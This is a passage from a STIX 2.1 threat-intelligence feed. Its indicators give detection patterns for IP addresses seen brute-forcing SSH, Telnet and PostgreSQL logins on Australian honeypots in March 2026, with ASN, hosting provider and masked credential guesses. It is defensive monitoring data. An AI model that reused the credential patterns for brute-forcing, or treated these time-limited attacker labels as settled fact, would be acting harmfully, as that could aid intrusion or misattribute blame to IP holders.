      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 4780. Organisation(s): Digital United Inc..",
      "id": "indicator--4ee9dceb-b809-4e84-b608-85c2a4e8243a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.204.3.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, p******d.",
      "id": "indicator--0593785b-9f44-4aa2-82ce-18d11b35b06f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.159.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): ***, r**t, r*****3, r*****1.",
      "id": "indicator--358260cf-c74c-4a90-ae10-7df1c41a98ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.204.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 379. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, u****u, c****s. Passwords observed (masked): 1****6, p******d, 0****0, 1****1, ***.",
      "id": "indicator--ce454d1a-49a0-4408-8690-170072bc33f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.226.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, b****p. Passwords observed (masked): 1***5, 1****6, 1*****7, 1******8, 1*******9.",
      "id": "indicator--7e16e25f-b136-4ed8-bf8d-398a8a429e8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.140.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, 1******8, a***n, p******d.",
      "id": "indicator--b89c6670-027c-4835-ac0f-3aa7502b18c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.178.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1********0, a******3, p*******1.",
      "id": "indicator--1047e718-e676-4abf-93fc-8d99ed646ae3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '174.138.25.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28330. Organisation(s): AS28330. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******5, Q**********4, Q********..",
      "id": "indicator--f40d7908-8277-4460-8f91-456911b48a9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.50.142.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--07dadcc2-f0fe-4b76-8641-7c26dfc3fd27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 18229. Organisation(s): CtrlS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*********A, 1******1, H********@.",
      "id": "indicator--baa7cda1-f5a3-4714-80e5-6d2dc729cbc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.255.3.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 10013. Organisation(s): FreeBit Co.,Ltd..",
      "id": "indicator--64998de8-63a6-4fdf-b964-4e55ef8d592f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.55.148.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: NL. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--a723512b-fbcf-473c-ba75-991240fdfddf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.151.182.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 207459. Organisation(s): Teknosos Bilisim Hizmetleri Ve Tic. Ltd. Sti.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--c01bc487-4dc6-4392-944b-a052845ccd52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.31.76.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****2, 1******x.",
      "id": "indicator--28a9a7f0-c93a-4872-9b63-2206c474efbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.254.103.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**4, 1****2, 1******x, 3***********4, 3**********4.",
      "id": "indicator--550ef4fe-6bf0-4ec2-8075-e452cf6f14d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.89.166.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, **. Passwords observed (masked): !***t, 1******x, P**********6, q**********6, r*******y.",
      "id": "indicator--eed225ee-6de7-4dd4-9d61-1c19c96eda4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.45.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--41eff508-cf9f-46cb-9dc7-999c952d0089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.82.70.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T08:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--95e132dc-a777-46da-bfb1-662341a5408b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T08:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.102.49.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T08:15:02.000Z",
      "valid_until": "2026-04-03T08:15:01.000Z"
    },
    {
      "created": "2026-03-02T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, s****a, u****u. Passwords observed (masked): ***, s****a, u****u.",
      "id": "indicator--87eb12bf-9b46-4457-855b-978c4e80df9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.236.13.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T09:15:14.000Z",
      "valid_until": "2026-04-03T09:15:12.000Z"
    },
    {
      "created": "2026-03-02T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, a***n, p******d.",
      "id": "indicator--8f923561-588a-4d32-baab-a719dde75722",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.197.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T09:15:14.000Z",
      "valid_until": "2026-04-03T09:15:12.000Z"
    },
    {
      "created": "2026-03-02T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 237. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1****1, ***, 1****3, 1**4, 1***5.",
      "id": "indicator--2ca0da13-d887-4156-8c5d-808a5a05fec5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.215.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T09:15:14.000Z",
      "valid_until": "2026-04-03T09:15:12.000Z"
    },
    {
      "created": "2026-03-02T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, a***n, p******d, r**t.",
      "id": "indicator--836620cd-0e62-4ec5-88c7-eae836116de2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.38.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T09:15:14.000Z",
      "valid_until": "2026-04-03T09:15:12.000Z"
    },
    {
      "created": "2026-03-02T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--555784fa-4cb5-495c-8bac-d38f0eb12fdd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '146.190.133.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T09:15:14.000Z",
      "valid_until": "2026-04-03T09:15:12.000Z"
    },
    {
      "created": "2026-03-02T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0**********b, ***, 1**********d, 3***********4, 3**********4.",
      "id": "indicator--b49ef7f0-092f-4265-a825-269f8b799c96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.230.32.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T09:15:14.000Z",
      "valid_until": "2026-04-03T09:15:12.000Z"
    },
    {
      "created": "2026-03-02T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): a***n, p******d, r**t.",
      "id": "indicator--94960a8c-8b66-4d1f-ac14-95df1300d729",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.243.101.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T09:15:14.000Z",
      "valid_until": "2026-04-03T09:15:12.000Z"
    },
    {
      "created": "2026-03-02T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, r**t.",
      "id": "indicator--50231752-568a-4b19-bc04-6418dd9b3ae5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.71.197.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T09:15:14.000Z",
      "valid_until": "2026-04-03T09:15:12.000Z"
    },
    {
      "created": "2026-03-02T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 293. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, u****u. Passwords observed (masked): 1***5, 1****6, 1******8, p******d, q****y.",
      "id": "indicator--42289160-aa74-45e3-b33c-a29adc1b8c55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.128.250.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T09:15:14.000Z",
      "valid_until": "2026-04-03T09:15:12.000Z"
    },
    {
      "created": "2026-03-02T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 214. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1****1, 1****3, 1***5, 1****6, 1******8.",
      "id": "indicator--c23cb4b9-9df1-49c8-9719-1b75e16547c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.84.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T09:15:14.000Z",
      "valid_until": "2026-04-03T09:15:12.000Z"
    },
    {
      "created": "2026-03-02T09:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 6327. Organisation(s): Shaw Communications.",
      "id": "indicator--de0432da-f23c-4a9a-9644-a005d40c58cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.151.1.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T09:15:14.000Z",
      "valid_until": "2026-04-03T09:15:12.000Z"
    },
    {
      "created": "2026-03-02T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--496f9dab-99b8-4cf0-9954-0110da278cae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T09:15:14.000Z",
      "valid_until": "2026-04-03T09:15:12.000Z"
    },
    {
      "created": "2026-03-02T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: US. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): a***n, r**t, u**r. Passwords observed (masked): 1********0, A******3, a***n, a****1, u**r.",
      "id": "indicator--d65a67a4-90a0-4c56-84e9-155fcccf8ce7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:15:13.000Z",
      "valid_until": "2026-04-03T10:15:11.000Z"
    },
    {
      "created": "2026-03-02T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1*******9, a***n, p******d, r**t.",
      "id": "indicator--b524e40e-8820-4302-ae92-8bfaa1772297",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.151.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:15:13.000Z",
      "valid_until": "2026-04-03T10:15:11.000Z"
    },
    {
      "created": "2026-03-02T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--f208ffa6-6789-4a5d-9255-9f0475fc420a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.45.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:15:13.000Z",
      "valid_until": "2026-04-03T10:15:11.000Z"
    },
    {
      "created": "2026-03-02T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 54. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, t***1, t***2, t***3. Passwords observed (masked): ***, r*****3, r*****1, t***1, t***2.",
      "id": "indicator--c1b711c4-47e4-40f8-b913-329afcf3839d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.110.179.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:15:13.000Z",
      "valid_until": "2026-04-03T10:15:11.000Z"
    },
    {
